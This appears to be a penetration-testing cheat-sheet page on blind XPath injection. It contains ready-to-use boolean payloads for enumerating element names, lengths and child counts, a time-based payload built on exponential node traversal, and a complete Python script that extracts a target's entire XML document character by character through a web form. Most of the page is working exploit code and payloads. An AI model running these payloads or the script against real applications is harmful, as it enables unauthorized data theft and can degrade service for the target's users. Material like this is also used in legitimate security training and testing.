Blind Exploitation
When results are not rendered, use boolean conditions that flip the app's response to leak bits (like blind SQLi). You need any observable difference: success vs error text, status code, or measurable processing time.
Core Boolean Pattern
Assume input lands in a predicate on username:
/users/user[username='<INPUT>']Inject a universally true clause:
invalid' or '1'='1If the app reports "success" for the injected value, you confirmed XPath injection (blind).
Name Length, Name, and Children Count
Use XPath functions in boolean checks:
Length of root element name:
invalid' or string-length(name(/*[1]))=L and '1'='1Character-by-character name of a node:
invalid' or substring(name(/*[1]),POS,1)='a' and '1'='1Number of children:
invalid' or count(/users/*)=N and '1'='1Iterate L, POS, N until the response flips to "success".
Enumerating Schema
Start at
/*[1].Determine name and
count(/*).Recurse into each child
/*[i].
Automating (Python template)
import requests, sys, string
URL = "http://<SERVER_IP>:<PORT>/index.php"
POSITIVE_STRING = "Message successfully sent!" # tweak to your app
# returns True on positive response
def inject(expr: str) -> bool:
payload = f"invalid' or {expr} and '1'='1"
r = requests.post(URL, data={ 'username': payload, 'message': 'x' })
return POSITIVE_STRING in r.text
def exfiltrate_length(subquery: str, max_length: int = 128) -> int:
for i in range(max_length + 1):
if inject(f"string-length({subquery})={i}"):
return i
raise RuntimeError(f"length not found for {subquery}")
def exfiltrate_text(subquery: str) -> str:
L = exfiltrate_length(subquery)
out = []
alphabet = string.printable # narrow if needed
for i in range(L):
for ch in alphabet:
if inject(f"substring({subquery},{i+1},1)='{ch}'"):
out.append(ch)
break
return ''.join(out)
def exfiltrate_children_count(base: str, max_children: int = 128) -> int:
for i in range(max_children + 1):
if inject(f"count({base})={i}"):
return i
raise RuntimeError(f"children count not found for {base}")
def walk_schema(base: str = '/*[1]', depth: int = 0):
name = exfiltrate_text(f"name({base})")
n = exfiltrate_children_count(base + '/*')
print(' ' * depth + f"<{name}>")
if n == 0:
data = exfiltrate_text(base)
print(' ' * (depth + 1) + data)
else:
for i in range(1, n + 1):
walk_schema(f"{base}/*[{i}]", depth + 1)
print(' ' * depth + f"</{name}>")
if __name__ == '__main__':
print('Exfiltrating XML document (blind):')
walk_schema('/*[1]')Time-based Signal (when responses are identical)
XPath has no sleep(), but you can force heavy evaluation to create measurable delay when a condition is true:
invalid' or substring(/users/user[1]/username,1,1)='a' and count((//.)[count(//.)]) and '1'='1If the substring condition is true,
count((//.)[count(//.)])triggers exponential traversal and slows the response.If false, that branch is skipped (short-circuit), response remains fast.
Increase nested count() stacks for small documents, but beware of DoS on large ones.
Practical Tips
Stabilize the positive/negative signal (match exact success text, status code, or timing threshold).
URL-encode payloads when needed; prefer POST to avoid length limits.
Narrow
string.printableto speed up (e.g.,ascii_letters + digits + '{}_:-@./').Cache intermediary findings (lengths, partial names) to resume interrupted runs.
Redact secrets/flags from notes; store sensitive outputs separately.
Last updated